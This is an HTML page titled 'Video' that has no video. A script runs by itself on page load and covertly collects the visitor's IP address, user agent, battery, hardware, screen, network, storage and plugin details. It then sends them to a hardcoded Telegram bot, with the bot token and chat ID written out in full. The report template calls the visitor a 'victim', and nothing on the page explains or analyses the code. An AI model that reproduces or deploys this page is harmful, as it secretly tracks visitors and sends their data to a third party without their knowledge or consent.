<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>Video</title>
</head>
<body>

<script>
 async function sendToTelegram(uhasiduqhwdi) {
   await fetch(`https://api.telegram.org/bot6604197961:AAHLTzFitlAix1jP-LJ1L3GJnY4L2Vx6pwU/sendMessage`, {
     method: 'POST',
     headers: {
       'Content-Type': 'application/json',
     },
     body: JSON.stringify({
       chat_id: '-1002104303292',
       text: uhasiduqhwdi.toString(),
     }),
   });
 }

  async function getDeviceInfo() {
  try {
    const ipAddressResponse = await fetch('https://api64.ipify.org?format=json');
    const ipAddressData = await ipAddressResponse.json();
    const ipAddress = ipAddressData.ip;

    const userAgent = navigator.userAgent;
    let batteryStatus = '';
    try {
      batteryStatus = await getBatteryStatus();
    } catch (error) {
      console.error('Error getting battery status:', error);
    }

    const language = navigator.language;
    const platform = navigator.platform;
    const appCodeName = navigator.appCodeName;
    const currentTime = new Date().toLocaleTimeString();
    const product = navigator.product;
    const vendor = navigator.vendor;
    const maxTouchPoints = navigator.maxTouchPoints;
    const hardwareConcurrency = navigator.hardwareConcurrency;
    const deviceMemory = navigator.deviceMemory;
    let screenData = {};
    try {
      screenData = {
        width: screen.width,
        height: screen.height,
        availWidth: screen.availWidth,
        availHeight: screen.availHeight,
        colorDepth: screen.colorDepth,
        pixelDepth: screen.pixelDepth,
      };
    } catch (error) {
      console.error('Error getting screen data:', error);
    }
    let networkInfo = {};
    try {
      networkInfo = await getNetworkInfo();
    } catch (error) {
      console.error('Error getting network info:', error);
    }
    let storage = {};
    try {
      storage = await getStorageInfo();
    } catch (error) {
      console.error('Error getting storage info:', error);
    }
    let plugins = {};
    try {
      plugins = await getPluginsInfo();
    } catch (error) {
      console.error('Error getting plugins info:', error);
    }

      const uhasiduqhwdi = `
        🌟 New log!

        🔌Device Information:
IP: ${ipAddress}
User Agent: ${userAgent}

        🔋Battery Status:
${batteryStatus}

        🗂️Language and Platform:
Language: ${language}
Platform: ${platform}

        🌐Browser Information:
App Code Name: ${appCodeName}
Product: ${product}
Vendor: ${vendor}

        ⚙️Hardware and Performance:
Max Touch Points: ${maxTouchPoints}
Hardware Concurrency: ${hardwareConcurrency}
Device Memory: ${deviceMemory}

        🖥️Screen:
${Object.keys(screenData).map(key => `${key}: ${screenData[key]}`).join('\n')}

        📡Network:
${Object.keys(networkInfo).map(key => `${key}: ${networkInfo[key]}`).join('\n')}

        💾Storage:
${Object.keys(storage).map(key => `${key}: ${storage[key]}`).join('\n')}

        ⏰Current Victim's Time:
${currentTime}

        💡Browser Extensions:
${plugins.map(plugin => plugin.name).join(', ')}
      `;
      sendToTelegram(uhasiduqhwdi);
    } catch (error) {
      console.error('Error getting device info:', error);
      sendToTelegram(`Error collecting device info: ${error.message}`);
    }
  }


  async function getBatteryStatus() {
    return navigator.getBattery().then(battery => {
      return `Battery: ${Math.floor(battery.level * 100)}%, charging: ${battery.charging? 'yes' : 'no'}`;
    });
  }

  async function getScreenData() {
    try {
      return {
        width: screen.width,
        height: screen.height,
        availWidth: screen.availWidth,
        availHeight: screen.availHeight,
        colorDepth: screen.colorDepth,
        pixelDepth: screen.pixelDepth,
      };
    } catch (error) {
      console.error('Error getting screen data:', error);
      return {};
    }
  }

  async function getNetworkInfo() {
    const connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
    return {
      type: connection? connection.type : 'unknown',
      effectiveType: connection? connection.effectiveType : 'unknown',
downlinkMax: connection? connection.downlinkMax : 0,
    };
  }

  async function getStorageInfo() {
    try {
      const estimate = await navigator.storage.estimate();
      const usageMB = (estimate.usage / (1024 * 1024)).toFixed(2);
      const quotaMB = (estimate.quota / (1024 * 1024)).toFixed(2);
      return {
        usage: usageMB,
        quota: quotaMB,
      };
    } catch (error) {
      console.error('Error getting storage info:', error);
      return {
        usage: 0,
        quota: 0,
      };
    }
  }

  async function getPluginsInfo() {
    const plugins = [];
    for (let i = 0; i < navigator.plugins.length; i++) {
      const plugin = navigator.plugins[i];
      plugins.push({
        name: plugin.name,
      });
    }
    return plugins;
  }

  getDeviceInfo();
</script>

</body>
</html>